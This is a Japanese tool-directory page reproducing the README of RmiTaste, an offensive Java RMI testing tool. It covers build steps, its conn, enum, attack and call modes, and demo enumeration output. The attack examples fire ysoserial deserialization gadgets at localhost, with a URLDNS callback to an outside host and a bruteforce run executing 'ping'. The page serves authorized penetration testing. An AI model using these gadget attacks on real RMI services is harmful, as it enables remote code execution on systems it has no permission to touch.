Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
RmiTaste — Java RMIセキュリティテストツール。ysoserial逆シリアル化ガジェットを使用して安全でないRMIサービスを検出、列挙、悪用し、リモートコード実行を達成する。 | Kitploit
ツール/GitHubGitHub/stmcyber/rmitaste
脆弱性分析エクスプロイトペネトレーションテスト
GitHubstmcyber/rmitaste

RmiTaste

Java RMIセキュリティテストツール。ysoserial逆シリアル化ガジェットを使用して安全でないRMIサービスを検出、列挙、悪用し、リモートコード実行を達成する。

リポジトリを見るウェブサイト
10920115年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

License

RmiTaste

RmiTaste は、セキュリティ専門家が ysoserial のガジェットを使用してリモートメソッドを呼び出すことで、RMI サービスの検出、列挙、対話、攻撃を可能にします。また、特定のパラメータでリモートメソッドを呼び出すこともできます。

免責事項

RmiTaste は、ユーザーが事前に攻撃する許可を得ているシステム上の安全でない RMI サービスを特定するためのセキュリティ専門家を支援するために作成されました。コンピュータシステムへの無許可アクセスは違法であり、RmiTaste はすべての関連法規に従って使用する必要があります。違反した場合、起訴される可能性があります。RmiTaste の開発者は、一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。

ビルドと実行

openjdk 11.0.3 が必要です。

  1. ysoserial-master-SNAPSHOT.jar をダウンロードし、libs_attack ディレクトリに保存します (https://github.com/frohoff/ysoserial)。
  2. Maven を使用してプロジェクトをビルドします:
    root@kitploit:~
    mvn package
    
  3. コマンドを実行します:
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    Warning: RmiTaste was written to aid security professionals in identifying the
             insecure use of RMI services on systems which the user has prior
             permission to attack. RmiTaste must be used in accordance with all
             relevant laws. Failure to do so could lead to your prosecution.
             The developers assume no liability and are not responsible for any
             misuse or damage caused by this program.
    
    

使用法

RmiTaste には4つのモードがあります: conn、enum、attack、call。各モードには個別のヘルプがあります。

root@kitploit:~
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
  -h, --help   display this help message
Commands:
  conn    check connection to host
  enum    enumerate RMI service
  attack  attack RMI registry methods
  call    call specific method on RMI remote object

conn モード

conn モードは、ポートが RMI サービスポートかどうかを確認できます。

root@kitploit:~
# Check if 127.0.0.1:1099 is RMI Service
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

enum モード

enum モードは、RMI サービスに関する情報(リモートオブジェクトの名前や、リモートオブジェクトが実装または拡張するクラス名など)を取得できます。もしリモートオブジェクトが実装しているインターフェースが RmiTaste のクラスパス上にある場合、RmiTaste はそのリモートオブジェクトに対して呼び出せるすべてのリモートメソッドを表示します。

root@kitploit:~
# RMI service enumeration
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

attack モード

attack モードは、ysoserial の特定のガジェットチェーンを使用してリモートメソッドを呼び出すことができます。リモートオブジェクトに以下のメソッドがあるとします:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Call all remote methods with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
root@kitploit:~
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

オプション "-gen bruteforce" は、ysoserial のガジェットでリモートメソッドをブルートフォース攻撃できます。この例では、deposit メソッドが ysoserial の様々なガジェットで複数回呼び出されます。

root@kitploit:~
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with gadgets from ysoserial and command ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

call モード

call モードは、RMI リモートオブジェクト上の特定のメソッドを呼び出すことができます。リモートオブジェクトに以下のメソッドがあるとします:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Call m0.rmitaste.example.server.ClientAccount.getBalance method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
root@kitploit:~
# Call m0.rmitaste.example.server.ClientAccount.setPin("1234") method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"

例

デモサーバーはこちらから入手できます。

  1. デモサーバーを実行します。

  2. ターゲットを列挙します。

root@kitploit:~
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

ご覧のとおり、RmiTaste はリモートオブジェクトのインターフェースを必要とします。ペンテスト中は、このインターフェースを見つける必要があります。この例では、rmitaste.examples-1.0-SNAPSHOT-all.jar を libs_attack ディレクトリにコピーしてください。 ターゲットを再度列挙します:

root@kitploit:~
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

著者

Twitter: @_mzer0

インスパイア元: BaRMIe および @h0ng10の記事

ツールをダウンロード